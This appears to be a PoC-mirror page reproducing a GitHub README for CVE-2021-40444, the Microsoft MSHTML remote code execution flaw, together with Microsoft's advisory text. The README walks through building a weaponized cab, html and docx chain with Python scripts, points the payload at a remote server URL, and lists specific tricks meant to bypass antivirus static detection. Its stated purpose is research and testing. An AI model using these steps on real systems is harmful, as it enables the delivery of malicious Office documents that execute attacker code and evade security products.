CVE-2021-40444 PoC — Microsoft MSHTML Remote Code Execution Vulnerability

Source

https://github.com/aslitsecurity/CVE-2021-40444_builders

Associated Vulnerability

Title:Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Description:Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents. An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. Microsoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: “Suspicious Cpl File Execution”. Upon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs. Please see the Mitigations and Workaround sections for important information about steps you can take to protect your system from this vulnerability. UPDATE September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.

Description

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit

Readme

CVE-2021-40444 builders

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit. This repo is just for testing, research and educational purposes. You are responsible for how you use the code provided in this repo.

The code is developed by reversing malware samples found in wild and shared by various security researchers.

<b>The builders for this CVE are already public. The purpose of this repo is to check how effectively we can bypass static detections by different AV vendors for the docx files, at the time of writing.
</b><br><br>
The JS code can easily obfuscated by online tools or manually. But the docx file contains just one file which is document.xml.rels, on which the signatures can be based. What we can tamper in it so we can evade static detections of most of the AV.

The cabrc.exe is Microsoft exe included in Internet Explorer Administration Kit and can be downloaded from https://docs.microsoft.com/en-us/internet-explorer/ie11-ieak/ieak-information-and-downloads and after installation you would find this exe in "C:\Program Files (x86)\Windows IEAK 11"

There are 3 builders. 

The code works for python 2.7

First go to CVE-2021-40444 folder and place your dll file there and rename it to IEcache.inf (or you can use the calc dll already there).

Then go to source folder and generate the cab file

c:\cve-2021-40444\sources\python generate_cab.py

Upload your cab file, and using the cab file URL generate the html file

c:\cve-2021-40444\sources\python generate_html.py http://192.168.1.12/new/winupdate.cab tests.txt (Note instead of using html extension, if we use .txt the exploit still works, but bypasses AV)

Now finally upload your html file and generate the doc file. Use HTTP (capital) instead of http, and "\" instead of "/", to bypass AV. And we dont need x-usc: too.

example: c:\cve-2021-40444\sources\python generate_doc.py HTTP:\\\192.168.1.12\new\tests.txt

The result is in front of you.<br><br>
<img src="screen2.png"></img><br><br><br>
<img src="screen.png"></img><br><br><br>
www.aslitsecurity.com<br>
info@aslitsecurity.com

File Snapshot


 [4.0K]  /data/pocs/1b5beaa1a2460249067545b6ef43210415f7b447
├── [4.0K]  CVE-2021-40444
│   ├── [8.5K]  IEcache.inf
│   └── [4.0K]  source
│       ├── [ 79K]  cabarc.exe
│       ├── [4.0K]  doc
│       │   ├── [1.4K]  [Content_Types].xml
│       │   ├── [4.0K]  docProps
│       │   │   ├── [ 734]  app.xml
│       │   │   └── [ 754]  core.xml
│       │   ├── [4.0K]  _rels
│       │   └── [4.0K]  word
│       │       ├── [ 15K]  document.xml
│       │       ├── [2.3K]  fontTable.xml
│       │       ├── [4.0K]  media
│       │       │   ├── [668K]  image1.jpeg
│       │       │   └── [  74]  image2.wmf
│       │       ├── [4.0K]  _rels
│       │       │   └── [1.3K]  document.xml.rels
│       │       ├── [2.6K]  settings.xml
│       │       ├── [ 32K]  styles.xml
│       │       ├── [4.0K]  theme
│       │       │   └── [6.9K]  theme1.xml
│       │       └── [ 604]  webSettings.xml
│       ├── [ 764]  generate_cab.py
│       ├── [3.6K]  generate_doc.py
│       └── [ 12K]  generate_html.py
├── [2.1K]  README.md
├── [119K]  screen2.png
└── [ 69K]  screen.png

9 directories, 20 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!